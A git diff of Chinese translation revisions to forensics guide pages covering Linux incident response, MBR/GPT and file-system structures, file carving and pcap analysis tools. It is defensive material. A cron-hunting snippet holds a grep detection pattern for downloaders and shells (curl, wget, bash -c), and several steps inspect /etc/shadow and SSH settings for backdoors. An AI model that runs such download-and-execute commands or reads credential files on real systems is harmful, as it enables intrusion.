- 检查 `/etc/shadow` 中没有 shell 的用户的 **密码哈希**
|
||||
- 检查 **没有 shell 的用户的注册登录**,位于 `/etc/passwd`
|
||||
- 检查 **没有 shell 的用户的密码哈希**,位于 `/etc/shadow`
|
||||
|
||||
### 内存转储
|
||||
|
||||
@ -61,10 +61,10 @@ LiME 还可以用于 **通过网络发送转储**,而不是使用类似 `path=
|
||||
|
||||
### 磁盘成像
|
||||
|
||||
#### 关机
|
||||
#### 关闭系统
|
||||
|
||||
首先,您需要 **关闭系统**。这并不总是一个选项,因为有时系统可能是公司无法承受关闭的生产服务器。\
|
||||
有 **2 种** 关闭系统的方法,**正常关机** 和 **“拔掉插头”关机**。第一种方法将允许 **进程正常终止**,并使 **文件系统** **同步**,但这也可能允许潜在的 **恶意软件** **破坏证据**。“拔掉插头”方法可能会导致 **一些信息丢失**(由于我们已经获取了内存的图像,丢失的信息不会很多),并且 **恶意软件将没有机会** 采取任何措施。因此,如果您 **怀疑** 可能存在 **恶意软件**,请在系统上执行 **`sync`** **命令** 然后拔掉插头。
|
||||
有 **2 种** 关闭系统的方法,**正常关闭** 和 **“拔掉插头”关闭**。第一种方法将允许 **进程正常终止**,并使 **文件系统** **同步**,但这也可能允许潜在的 **恶意软件** **破坏证据**。“拔掉插头”方法可能会导致 **一些信息丢失**(由于我们已经获取了内存的图像,丢失的信息不会很多),并且 **恶意软件将没有机会** 采取任何措施。因此,如果您 **怀疑** 可能存在 **恶意软件**,请在系统上执行 **`sync`** **命令** 然后拔掉插头。
|
||||
|
||||
#### 获取磁盘图像
|
||||
|
||||
@ -79,7 +79,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
|
||||
```
|
||||
### 磁盘映像预分析
|
||||
|
||||
对没有更多数据的磁盘映像进行成像。
|
||||
成像一个没有更多数据的磁盘映像。
|
||||
```bash
|
||||
#Find out if it's a disk image using "file" command
|
||||
file disk.img
|
||||
@ -134,16 +134,16 @@ ThisisTheMasterSecret
|
||||
```
|
||||
## 搜索已知恶意软件
|
||||
|
||||
### 修改的系统文件
|
||||
### 修改过的系统文件
|
||||
|
||||
Linux 提供工具以确保系统组件的完整性,这对于发现潜在问题文件至关重要。
|
||||
|
||||
- **基于 RedHat 的系统**:使用 `rpm -Va` 进行全面检查。
|
||||
- **基于 Debian 的系统**:使用 `dpkg --verify` 进行初步验证,然后使用 `debsums | grep -v "OK$"`(在使用 `apt-get install debsums` 安装 `debsums` 后)来识别任何问题。
|
||||
|
||||
### 恶意软件/Rootkit 检测器
|
||||
### 恶意软件/根套件检测器
|
||||
|
||||
阅读以下页面以了解可以用于查找恶意软件的工具:
|
||||
阅读以下页面以了解可以帮助查找恶意软件的工具:
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
@ -205,8 +205,8 @@ for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron
|
||||
# Look for obvious execution of shells or downloaders embedded in cron stubs
|
||||
grep -R --line-number -E 'curl|wget|/bin/sh|python|bash -c' /etc/cron.*/* 2>/dev/null
|
||||
```
|
||||
#### Hunt: SSH 加固回滚和后门 shell
|
||||
对 sshd_config 和系统账户 shell 的更改是常见的后期利用手段,以保持访问权限。
|
||||
#### Hunt: SSH加固回滚和后门shell
|
||||
对sshd_config和系统账户shell的更改是常见的后期利用手段,以保持访问权限。
|
||||
```bash
|
||||
# Root login enablement (flag "yes" or lax values)
|
||||
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
|
||||
@ -233,7 +233,7 @@ systemctl list-units | grep -i cloudflared
|
||||
- **/etc/systemd/system**: 系统和服务管理器脚本的目录。
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: 包含应在多用户运行级别启动的服务的链接。
|
||||
- **/usr/local/etc/rc.d/**: 用于自定义或第三方服务。
|
||||
- **\~/.config/autostart/**: 用户特定的自动启动应用程序,可以成为针对用户的恶意软件的隐藏地点。
|
||||
- **\~/.config/autostart/**: 用户特定的自动启动应用程序,可以是针对用户的恶意软件的隐藏地点。
|
||||
- **/lib/systemd/system/**: 安装包提供的系统范围的默认单元文件。
|
||||
|
||||
### 内核模块
|
||||
@ -295,20 +295,20 @@ Linux 系统通过各种日志文件跟踪用户活动和系统事件。这些
|
||||
一些应用程序也会生成自己的日志:
|
||||
|
||||
- **SSH**: 检查 _\~/.ssh/authorized_keys_ 和 _\~/.ssh/known_hosts_ 以查找未经授权的远程连接。
|
||||
- **Gnome 桌面**: 查看 _\~/.recently-used.xbel_ 以查找通过 Gnome 应用程序最近访问的文件。
|
||||
- **Gnome 桌面**: 查看 _\~/.recently-used.xbel_ 以获取通过 Gnome 应用程序最近访问的文件。
|
||||
- **Firefox/Chrome**: 检查 _\~/.mozilla/firefox_ 或 _\~/.config/google-chrome_ 中的浏览器历史和下载,以查找可疑活动。
|
||||
- **VIM**: 检查 _\~/.viminfo_ 以获取使用详情,如访问的文件路径和搜索历史。
|
||||
- **VIM**: 检查 _\~/.viminfo_ 以获取使用详情,例如访问的文件路径和搜索历史。
|
||||
- **Open Office**: 检查最近访问的文档,以确定是否有被破坏的文件。
|
||||
- **FTP/SFTP**: 检查 _\~/.ftp_history_ 或 _\~/.sftp_history_ 中的日志,以查找可能未经授权的文件传输。
|
||||
- **MySQL**: 检查 _\~/.mysql_history_ 以获取执行的 MySQL 查询,可能揭示未经授权的数据库活动。
|
||||
- **Less**: 分析 _\~/.lesshst_ 以获取使用历史,包括查看的文件和执行的命令。
|
||||
- **Git**: 检查 _\~/.gitconfig_ 和项目 _.git/logs_ 以查找对存储库的更改。
|
||||
- **Git**: 检查 _\~/.gitconfig_ 和项目 _.git/logs_ 以获取对存储库的更改。
|
||||
|
||||
### USB 日志
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) 是一个用纯 Python 3 编写的小软件,它解析 Linux 日志文件(`/var/log/syslog*` 或 `/var/log/messages*`,具体取决于发行版),以构建 USB 事件历史表。
|
||||
|
||||
了解 **所有使用过的 USB** 是很有趣的,如果你有一个授权的 USB 列表来查找“违规事件”(使用不在该列表中的 USB),将更有用。
|
||||
了解**所有使用过的 USB** 是很有趣的,如果你有一个授权的 USB 列表来查找“违规事件”(使用不在该列表中的 USB),将更有用。
|
||||
|
||||
### 安装
|
||||
```bash
|
||||
@ -328,24 +328,24 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
## 审查用户账户和登录活动
|
||||
|
||||
检查 _**/etc/passwd**_、_**/etc/shadow**_ 和 **安全日志**,寻找不寻常的名称或在已知未授权事件附近创建和使用的账户。同时,检查可能的 sudo 暴力攻击。\
|
||||
此外,检查像 _**/etc/sudoers**_ 和 _**/etc/groups**_ 这样的文件,查看是否给予用户意外的权限。\
|
||||
此外,检查像 _**/etc/sudoers**_ 和 _**/etc/groups**_ 这样的文件,查看是否有意外的权限授予给用户。\
|
||||
最后,查找 **没有密码** 或 **容易猜测** 的密码的账户。
|
||||
|
||||
## 检查文件系统
|
||||
|
||||
### 在恶意软件调查中分析文件系统结构
|
||||
|
||||
在调查恶意软件事件时,文件系统的结构是重要的信息来源,揭示事件的顺序和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍这种分析,例如修改文件时间戳或避免使用文件系统进行数据存储。
|
||||
在调查恶意软件事件时,文件系统的结构是一个重要的信息来源,揭示事件的顺序和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍这种分析,例如修改文件时间戳或避免使用文件系统进行数据存储。
|
||||
|
||||
为了对抗这些反取证方法,必须:
|
||||
|
||||
- **进行彻底的时间线分析**,使用像 **Autopsy** 这样的工具可视化事件时间线,或使用 **Sleuth Kit** 的 `mactime` 获取详细的时间线数据。
|
||||
- **调查系统 $PATH 中的意外脚本**,这些脚本可能包括攻击者使用的 shell 或 PHP 脚本。
|
||||
- **检查 `/dev` 中的非典型文件**,因为它通常包含特殊文件,但可能存放与恶意软件相关的文件。
|
||||
- **搜索隐藏文件或目录**,名称可能为 ".. "(点点空格)或 "..^G"(点点控制-G),这些可能隐藏恶意内容。
|
||||
- **识别 setuid root 文件**,使用命令:`find / -user root -perm -04000 -print`。这将找到具有提升权限的文件,可能被攻击者滥用。
|
||||
- **搜索隐藏的文件或目录**,名称可能像 ".. "(点点空格)或 "..^G"(点点控制-G),这些可能隐藏恶意内容。
|
||||
- **识别 setuid root 文件**,使用命令:`find / -user root -perm -04000 -print` 这将找到具有提升权限的文件,可能被攻击者滥用。
|
||||
- **检查 inode 表中的删除时间戳**,以发现大规模文件删除,可能表明存在 rootkit 或木马。
|
||||
- **检查连续的 inode**,在识别一个恶意文件后,查看附近的恶意文件,因为它们可能被放在一起。
|
||||
- **检查连续的 inode**,在识别一个恶意文件后,查看附近的文件,因为它们可能被放在一起。
|
||||
- **检查常见的二进制目录** (_/bin_、_/sbin_) 中最近修改的文件,因为这些文件可能被恶意软件更改。
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
@ -355,13 +355,13 @@ ls -laR --sort=time /bin```
|
||||
ls -lai /bin | sort -n```
|
||||
````
|
||||
> [!TIP]
|
||||
> 注意,**攻击者**可以**修改**时间以使**文件看起来**是**合法的**,但他**无法**修改**inode**。如果你发现一个**文件**显示它在与同一文件夹中其他文件**相同的时间**被创建和修改,但**inode**却**意外地更大**,那么该**文件的时间戳被修改**了。
|
||||
> 注意,**攻击者**可以**修改**时间以使**文件看起来**是**合法的**,但他**无法**修改**inode**。如果你发现一个**文件**显示它与同一文件夹中其他文件的**创建和修改时间相同**,但**inode**却**意外地更大**,那么该**文件的时间戳被修改了**。
|
||||
|
||||
## 比较不同文件系统版本的文件
|
||||
|
||||
### 文件系统版本比较摘要
|
||||
|
||||
为了比较文件系统版本并确定更改,我们使用简化的 `git diff` 命令:
|
||||
为了比较文件系统版本并确定更改,我们使用简化的`git diff`命令:
|
||||
|
||||
- **要查找新文件**,比较两个目录:
|
||||
```bash
|
||||
@ -391,7 +391,7 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
|
||||
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
- **书籍:Linux系统恶意软件取证实用指南:数字取证实用指南**
|
||||
- **书籍:Linux系统的恶意软件取证实用指南:数字取证实用指南**
|
||||
|
||||
- [Red Canary – 持续性补丁:DripDropper Linux恶意软件如何在云中移动](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/)
|
||||
|
||||
|
||||
@ -17,14 +17,14 @@ MBR允许**最大2.2TB**。
|
||||
|
||||
.png>)
|
||||
|
||||
从MBR的**440到443字节**可以找到**Windows磁盘签名**(如果使用Windows)。硬盘的逻辑驱动器字母取决于Windows磁盘签名。更改此签名可能会导致Windows无法启动(工具:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。
|
||||
从MBR的**440到443字节**可以找到**Windows磁盘签名**(如果使用Windows)。硬盘的逻辑驱动器字母取决于Windows磁盘签名。更改此签名可能会导致Windows无法启动(工具:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。
|
||||
|
||||
.png>)
|
||||
|
||||
**格式**
|
||||
|
||||
| 偏移量 | 长度 | 项目 |
|
||||
| ----------- | -------- | ------------------- |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | 引导代码 |
|
||||
| 446 (0x1BE) | 16 (0x10) | 第一个分区 |
|
||||
| 462 (0x1CE) | 16 (0x10) | 第二个分区 |
|
||||
@ -35,21 +35,21 @@ MBR允许**最大2.2TB**。
|
||||
**分区记录格式**
|
||||
|
||||
| 偏移量 | 长度 | 项目 |
|
||||
| --------- | ------ | ------------------------------------------------------ |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | 活动标志 (0x80 = 可引导) |
|
||||
| 1 (0x01) | 1 (0x01) | 起始磁头 |
|
||||
| 2 (0x02) | 1 (0x01) | 起始扇区(位0-5);气缸的高位(6-7) |
|
||||
| 2 (0x02) | 1 (0x01) | 起始扇区(位0-5);气缸的高位(6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | 起始气缸最低8位 |
|
||||
| 4 (0x04) | 1 (0x01) | 分区类型代码(0x83 = Linux) |
|
||||
| 4 (0x04) | 1 (0x01) | 分区类型代码(0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | 结束磁头 |
|
||||
| 6 (0x06) | 1 (0x01) | 结束扇区(位0-5);气缸的高位(6-7) |
|
||||
| 6 (0x06) | 1 (0x01) | 结束扇区(位0-5);气缸的高位(6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | 结束气缸最低8位 |
|
||||
| 8 (0x08) | 4 (0x04) | 分区前的扇区(小端) |
|
||||
| 8 (0x08) | 4 (0x04) | 分区前的扇区(小端) |
|
||||
| 12 (0x0C) | 4 (0x04) | 分区中的扇区 |
|
||||
|
||||
为了在Linux中挂载MBR,您首先需要获取起始偏移量(可以使用`fdisk`和`p`命令)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
然后使用以下代码
|
||||
```bash
|
||||
@ -60,24 +60,24 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (逻辑块寻址)**
|
||||
|
||||
**逻辑块寻址** (**LBA**) 是一种常用的方案,用于**指定存储在计算机存储设备上的数据块的位置**,通常是硬盘驱动器等二级存储系统。LBA 是一种特别简单的线性寻址方案;**块通过整数索引定位**,第一个块为 LBA 0,第二个为 LBA 1,依此类推。
|
||||
**逻辑块寻址** (**LBA**) 是一种常用的方案,用于 **指定存储在计算机存储设备上的数据块的位置**,通常是硬盘驱动器等二级存储系统。LBA 是一种特别简单的线性寻址方案;**块通过整数索引定位**,第一个块为 LBA 0,第二个为 LBA 1,依此类推。
|
||||
|
||||
### GPT (GUID 分区表)
|
||||
|
||||
GUID 分区表,简称 GPT,因其相较于 MBR(主引导记录)具有更强的能力而受到青睐。GPT 以其**全局唯一标识符**为分区而独树一帜,具体体现在以下几个方面:
|
||||
GUID 分区表,称为 GPT,因其相较于 MBR (主引导记录) 的增强能力而受到青睐。GPT 在多个方面具有独特性:
|
||||
|
||||
- **位置和大小**:GPT 和 MBR 都从**扇区 0** 开始。然而,GPT 采用**64位**,而 MBR 则是 32位。
|
||||
- **分区限制**:GPT 在 Windows 系统上支持最多**128个分区**,并可容纳高达**9.4ZB**的数据。
|
||||
- **分区名称**:允许使用最多 36 个 Unicode 字符为分区命名。
|
||||
- **位置和大小**:GPT 和 MBR 都从 **扇区 0** 开始。然而,GPT 采用 **64位**,而 MBR 为 32位。
|
||||
- **分区限制**:GPT 在 Windows 系统上支持最多 **128 个分区**,并可容纳高达 **9.4ZB** 的数据。
|
||||
- **分区名称**:提供最多 36 个 Unicode 字符的分区命名能力。
|
||||
|
||||
**数据弹性和恢复**:
|
||||
|
||||
- **冗余**:与 MBR 不同,GPT 不将分区和引导数据限制在一个地方。它在磁盘上复制这些数据,从而增强数据完整性和弹性。
|
||||
- **循环冗余校验 (CRC)**:GPT 使用 CRC 来确保数据完整性。它主动监控数据损坏,一旦发现,GPT 会尝试从另一个磁盘位置恢复损坏的数据。
|
||||
- **循环冗余校验 (CRC)**:GPT 使用 CRC 确保数据完整性。它主动监控数据损坏,并在检测到时,尝试从另一个磁盘位置恢复损坏的数据。
|
||||
|
||||
**保护性 MBR (LBA0)**:
|
||||
|
||||
- GPT 通过保护性 MBR 维持向后兼容性。此功能位于传统 MBR 空间内,但旨在防止较旧的基于 MBR 的工具错误地覆盖 GPT 磁盘,从而保护 GPT 格式磁盘上的数据完整性。
|
||||
- GPT 通过保护性 MBR 维持向后兼容性。此功能位于传统 MBR 空间中,但旨在防止较旧的基于 MBR 的工具错误地覆盖 GPT 磁盘,从而保护 GPT 格式磁盘上的数据完整性。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -85,7 +85,7 @@ GUID 分区表,简称 GPT,因其相较于 MBR(主引导记录)具有更
|
||||
|
||||
[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
在支持**通过 BIOS** 服务而非 EFI 的操作系统中,第一扇区仍可能用于存储**引导加载程序**代码的第一阶段,但**经过修改**以识别**GPT** **分区**。MBR 中的引导加载程序不得假设扇区大小为 512 字节。
|
||||
在支持 **通过 BIOS** 服务而非 EFI 的 **GPT 启动** 的操作系统中,第一个扇区仍可能用于存储 **引导加载程序** 代码的第一阶段,但 **经过修改** 以识别 **GPT** **分区**。MBR 中的引导加载程序不得假设扇区大小为 512 字节。
|
||||
|
||||
**分区表头 (LBA 1)**
|
||||
|
||||
@ -95,20 +95,20 @@ GUID 分区表,简称 GPT,因其相较于 MBR(主引导记录)具有更
|
||||
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 字节 | 签名 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 或 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)在小端机器上) |
|
||||
| 0 (0x00) | 8 字节 | 签名 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 或 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8) 在小端机器上) |
|
||||
| 8 (0x08) | 4 字节 | 版本 1.0 (00h 00h 01h 00h) 适用于 UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 字节 | 小端的头部大小(以字节为单位,通常为 5Ch 00h 00h 00h 或 92 字节) |
|
||||
| 16 (0x10) | 4 字节 | [CRC32](https://en.wikipedia.org/wiki/CRC32) 的头部(偏移量 +0 到头部大小)的小端,计算时此字段置为零 |
|
||||
| 12 (0x0C) | 4 字节 | 小端的头大小(以字节为单位,通常为 5Ch 00h 00h 00h 或 92 字节) |
|
||||
| 16 (0x10) | 4 字节 | [CRC32](https://en.wikipedia.org/wiki/CRC32) 的头(偏移量 +0 直到头大小)的小端,计算时此字段置为零 |
|
||||
| 20 (0x14) | 4 字节 | 保留;必须为零 |
|
||||
| 24 (0x18) | 8 字节 | 当前 LBA(此头部副本的位置) |
|
||||
| 32 (0x20) | 8 字节 | 备份 LBA(另一个头部副本的位置) |
|
||||
| 24 (0x18) | 8 字节 | 当前 LBA(此头副本的位置) |
|
||||
| 32 (0x20) | 8 字节 | 备份 LBA(另一个头副本的位置) |
|
||||
| 40 (0x28) | 8 字节 | 分区的第一个可用 LBA(主分区表最后 LBA + 1) |
|
||||
| 48 (0x30) | 8 字节 | 最后可用 LBA(辅助分区表第一个 LBA − 1) |
|
||||
| 56 (0x38) | 16 字节 | 磁盘 GUID 的混合字节序 |
|
||||
| 72 (0x48) | 8 字节 | 分区条目数组的起始 LBA(主副本中始终为 2) |
|
||||
| 80 (0x50) | 4 字节 | 数组中分区条目的数量 |
|
||||
| 84 (0x54) | 4 字节 | 单个分区条目的大小(通常为 80h 或 128) |
|
||||
| 88 (0x58) | 4 字节 | 分区条目数组的小端 CRC32 |
|
||||
| 88 (0x58) | 4 字节 | 分区条目数组的 CRC32 小端 |
|
||||
| 92 (0x5C) | \* | 保留;对于块的其余部分必须为零(对于 512 字节的扇区大小为 420 字节;但对于更大的扇区大小可以更多) |
|
||||
|
||||
**分区条目 (LBA 2–33)**
|
||||
@ -116,11 +116,11 @@ GUID 分区表,简称 GPT,因其相较于 MBR(主引导记录)具有更
|
||||
| GUID 分区条目格式 | | |
|
||||
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| 0 (0x00) | 16 字节 | [分区类型 GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)(混合字节序) |
|
||||
| 16 (0x10) | 16 字节 | 唯一分区 GUID(混合字节序) |
|
||||
| 32 (0x20) | 8 字节 | 第一个 LBA([小端](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 0 (0x00) | 16 字节 | [分区类型 GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (混合字节序) |
|
||||
| 16 (0x10) | 16 字节 | 唯一分区 GUID (混合字节序) |
|
||||
| 32 (0x20) | 8 字节 | 第一个 LBA ([小端](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 字节 | 最后 LBA(包含,通常为奇数) |
|
||||
| 48 (0x30) | 8 字节 | 属性标志(例如,第 60 位表示只读) |
|
||||
| 48 (0x30) | 8 字节 | 属性标志(例如,位 60 表示只读) |
|
||||
| 56 (0x38) | 72 字节 | 分区名称(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 代码单元) |
|
||||
|
||||
**分区类型**
|
||||
@ -131,11 +131,11 @@ GUID 分区表,简称 GPT,因其相较于 MBR(主引导记录)具有更
|
||||
|
||||
### 检查
|
||||
|
||||
在使用 [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) 挂载取证镜像后,可以使用 Windows 工具 [**Active Disk Editor**](https://www.disk-editor.org/index.html)** 检查第一个扇区**。在下图中,**扇区 0** 检测到一个 **MBR** 并被解释:
|
||||
在使用 [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) 挂载取证镜像后,可以使用 Windows 工具 [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** 检查第一个扇区。在下图中,在 **扇区 0** 检测到 **MBR** 并进行了解释:
|
||||
|
||||
.png>)
|
||||
|
||||
如果它是 **GPT 表而不是 MBR**,则在 **扇区 1** 中应出现签名 _EFI PART_(在前面的图像中是空的)。
|
||||
如果是 **GPT 表而不是 MBR**,则应在 **扇区 1** 中出现签名 _EFI PART_(在前面的图像中是空的)。
|
||||
|
||||
## 文件系统
|
||||
|
||||
@ -149,15 +149,15 @@ GUID 分区表,简称 GPT,因其相较于 MBR(主引导记录)具有更
|
||||
|
||||
### FAT
|
||||
|
||||
**FAT (文件分配表)** 文件系统围绕其核心组件——文件分配表设计,该表位于卷的开始。该系统通过维护**两个副本**的表来保护数据,即使其中一个损坏也能确保数据完整性。该表及根文件夹必须位于**固定位置**,这对系统的启动过程至关重要。
|
||||
**FAT (文件分配表)** 文件系统围绕其核心组件——文件分配表设计,该表位于卷的开始。该系统通过维护 **两个副本** 的表来保护数据,确保即使一个副本损坏也能保持数据完整性。该表及根文件夹必须位于 **固定位置**,这对系统的启动过程至关重要。
|
||||
|
||||
文件系统的基本存储单位是**簇,通常为 512B**,由多个扇区组成。FAT 经过多个版本的演变:
|
||||
文件系统的基本存储单位是 **簇,通常为 512B**,由多个扇区组成。FAT 经过多个版本的演变:
|
||||
|
||||
- **FAT12**,支持 12 位簇地址,处理最多 4078 个簇(4084 个与 UNIX)。
|
||||
- **FAT12**,支持 12 位簇地址,处理最多 4078 个簇(与 UNIX 一起为 4084)。
|
||||
- **FAT16**,增强为 16 位地址,从而容纳最多 65,517 个簇。
|
||||
- **FAT32**,进一步发展为 32 位地址,允许每个卷高达 268,435,456 个簇。
|
||||
|
||||
所有 FAT 版本的一个显著限制是**最大文件大小为 4GB**,这是由于用于文件大小存储的 32 位字段所致。
|
||||
所有 FAT 版本的一个显著限制是 **4GB 的最大文件大小**,这是由于用于文件大小存储的 32 位字段所致。
|
||||
|
||||
根目录的关键组件,特别是对于 FAT12 和 FAT16,包括:
|
||||
|
||||
@ -169,7 +169,7 @@ GUID 分区表,简称 GPT,因其相较于 MBR(主引导记录)具有更
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** 是最常见的**非日志**分区(**不经常更改的分区**)的文件系统,如引导分区。**Ext3/4** 是**日志**文件系统,通常用于**其余分区**。
|
||||
**Ext2** 是最常见的 **非日志** 分区的文件系统(**不经常更改的分区**),如引导分区。**Ext3/4** 是 **日志** 文件系统,通常用于 **其余分区**。
|
||||
|
||||
## **元数据**
|
||||
|
||||
@ -183,7 +183,7 @@ GUID 分区表,简称 GPT,因其相较于 MBR(主引导记录)具有更
|
||||
- GPS 坐标
|
||||
- 图像信息
|
||||
|
||||
您可以使用像 [**exiftool**](https://exiftool.org) 和 [**Metadiver**](https://www.easymetadata.com/metadiver-2/) 这样的工具来获取文件的元数据。
|
||||
您可以使用像 [**exiftool**](https://exiftool.org) 和 [**Metadiver**](https://www.easymetadata.com/metadiver-2/) 这样的工具获取文件的元数据。
|
||||
|
||||
## **已删除文件恢复**
|
||||
|
||||
@ -199,9 +199,9 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### **文件雕刻**
|
||||
|
||||
**文件雕刻**是一种尝试在大量数据中**查找文件**的技术。此类工具的工作主要有三种方式:**基于文件类型的头部和尾部**、基于文件类型的**结构**以及基于**内容**本身。
|
||||
**文件雕刻** 是一种尝试在 **大量数据中查找文件** 的技术。这类工具的工作方式主要有 3 种:**基于文件类型的头和尾**、基于文件类型的 **结构** 和基于 **内容** 本身。
|
||||
|
||||
请注意,这种技术**无法检索碎片化的文件**。如果文件**未存储在连续的扇区中**,则此技术将无法找到它,或至少无法找到其部分。
|
||||
请注意,这种技术 **无法检索碎片化的文件**。如果文件 **未存储在连续的扇区中**,则此技术将无法找到它,或至少无法找到其部分。
|
||||
|
||||
您可以使用多种工具进行文件雕刻,指明您要搜索的文件类型。
|
||||
|
||||
@ -211,8 +211,8 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### 数据流 **C**arving
|
||||
|
||||
数据流雕刻类似于文件雕刻,但**不是查找完整文件,而是查找有趣的信息片段**。\
|
||||
例如,代替查找包含记录的 URL 的完整文件,此技术将搜索 URL。
|
||||
数据流雕刻类似于文件雕刻,但 **不是寻找完整文件,而是寻找有趣的信息片段**。\
|
||||
例如,代替寻找包含记录的 URL 的完整文件,该技术将搜索 URL。
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### 安全删除
|
||||
|
||||
显然,有方法可以**“安全地”删除文件及其部分日志**。例如,可以**多次用垃圾数据覆盖**文件的内容,然后**删除**关于该文件的**$MFT** 和 **$LOGFILE** 中的**日志**,并**删除卷影副本**。\
|
||||
您可能会注意到,即使执行该操作,仍可能有**其他地方记录了文件的存在**,这确实是事实,取证专业人员的工作就是找到它们。
|
||||
显然,有方法可以 **“安全地” 删除文件及其部分日志**。例如,可以 **多次用垃圾数据覆盖** 文件的内容,然后 **删除** 关于该文件的 **$MFT** 和 **$LOGFILE** 中的 **日志**,并 **删除卷影副本**。\
|
||||
您可能会注意到,即使执行该操作,仍可能有 **其他地方记录了文件的存在**,这确实是事实,取证专业人员的工作之一就是找到它们。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 关于 **PCAP** 与 **PCAPNG** 的说明:PCAP 文件格式有两个版本;**PCAPNG 是较新的,并不是所有工具都支持**。您可能需要使用 Wireshark 或其他兼容工具将文件从 PCAPNG 转换为 PCAP,以便在某些其他工具中使用。
|
||||
|
||||
## 在线工具用于 pcaps
|
||||
|
||||
- 如果您的 pcap 的 **头部**是 **损坏的**,您应该尝试使用:[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) **修复**它
|
||||
- 在 [**PacketTotal**](https://packettotal.com) 中提取 **信息** 并搜索 **恶意软件**
|
||||
- 在 [**PacketTotal**](https://packettotal.com) 中提取 **信息** 并搜索 pcap 内的 **恶意软件**
|
||||
- 使用 [**www.virustotal.com**](https://www.virustotal.com) 和 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) 搜索 **恶意活动**
|
||||
- 在 [**https://apackets.com/**](https://apackets.com/) 中 **从浏览器进行完整的 pcap 分析**
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
|
||||
### Wireshark
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> **如果您要分析 PCAP,您基本上必须知道如何使用 Wireshark**
|
||||
|
||||
您可以在以下位置找到一些 Wireshark 技巧:
|
||||
@ -47,18 +47,18 @@ sudo apt-get install xplico
|
||||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
访问 _**127.0.0.1:9876**_,凭证为 _**xplico:xplico**_
|
||||
访问 _**127.0.0.1:9876**_,使用凭据 _**xplico:xplico**_
|
||||
|
||||
然后创建一个 **新案例**,在案例中创建一个 **新会话** 并 **上传 pcap** 文件。
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
